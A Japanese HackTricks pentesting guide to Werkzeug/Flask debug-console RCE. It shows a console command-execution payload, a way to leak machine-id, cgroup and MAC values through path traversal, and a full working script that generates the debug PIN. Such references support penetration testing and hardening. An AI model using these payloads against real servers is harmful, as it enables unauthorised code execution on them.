hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

200 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Werkzeug / Flask デバッグ
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org" %}
## Console RCE
デバッグが有効な場合、`/console` にアクセスして RCE を取得することができます。
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
インターネット上には、[こちらの](https://github.com/its-arun/Werkzeug-Debug-RCE)ようなエクスプロイトやMetasploitのものなど、いくつかの脆弱性が存在します。
## ピン保護 - パストラバーサル
場合によっては、**`/console`** エンドポイントがピンで保護されていることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。
### WerkzeugコンソールPINエクスプロイト
**最初のリンクからコピー。**\
アプリ内でデバッグエラーページを強制的に表示することで、Werkzeugの「コンソールロックされました」というメッセージを確認できます。
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
脆弱なWerkzeugデバッグコンソールを`vulnerable-site.com/console`のパスで見つけてください。ただし、それは秘密のPIN番号でロックされています。
コンソールPINを生成するアルゴリズムを逆にすることができます。サーバー上のWerkzeugのデバッグ`__init__.py`ファイルを調査してください。例えば、`python3.5/site-packages/werkzeug/debug/__init__.py`です。[**Werkzeugのソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)を表示して、**PINが生成される方法**を確認することもできますが、バージョンが異なる可能性があるため、**ファイルトラバーサルの脆弱性**を介してソースコードを漏洩させる方が良いでしょう。
コンソールPINを悪用するために必要な変数
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
#### **`probably_public_bits`**
* **`username`** はこのFlaskを起動したユーザーです。
* **`modname`** は flask.app です。
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))`**Flask** です。
* `getattr(mod, '__file__', None)` は flaskディレクトリ内の `app.py`**絶対パス** です(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が機能しない場合は、**`app.pyc`** を試してください。
#### `private_bits`
* `uuid.getnode()` は現在のコンピューターの **MACアドレス** です。`str(uuid.getnode())` はMACアドレスの10進表現です。
* **サーバーのMACアドレスを見つける**には、アプリを提供するために使用されている **ネットワークインターフェースがどれかを知る必要があります**(例:`ens3`。不明な場合は、デバイスIDのために `/proc/net/arp`**漏洩** し、その後 **`/sys/class/net/<device id>/address`** でMACアドレスを **漏洩** します。
16進アドレスから10進表現に変換するには、Pythonで次のように実行します。
```python
# It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* `get_machine_id()``/etc/machine-id` または `/proc/sys/kernel/random/boot_id`**値を連結** し、最後のスラッシュ(`/`)の後の `/proc/self/cgroup`**最初の行** と連結します。
<details>
<summary>get_machine_id() コード</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
</details>
すべての変数を準備したら、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成します。
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
{% hint style="success" %}
もしWerkzeugの**古いバージョン**を使用している場合は、ハッシュアルゴリズムをsha1ではなくmd5に変更してみてください。
{% endhint %}
## 参考文献
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conferenceは、コロンビアのボゴタで2023年9月7日から8日まで開催される、国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)です。このイベントは、スペイン語で最新の研究が発表される高度な技術コンテンツのイベントであり、世界中のハッカーや研究者を惹きつけています。\
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:
{% embed url="https://www.dragonjarcon.org" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>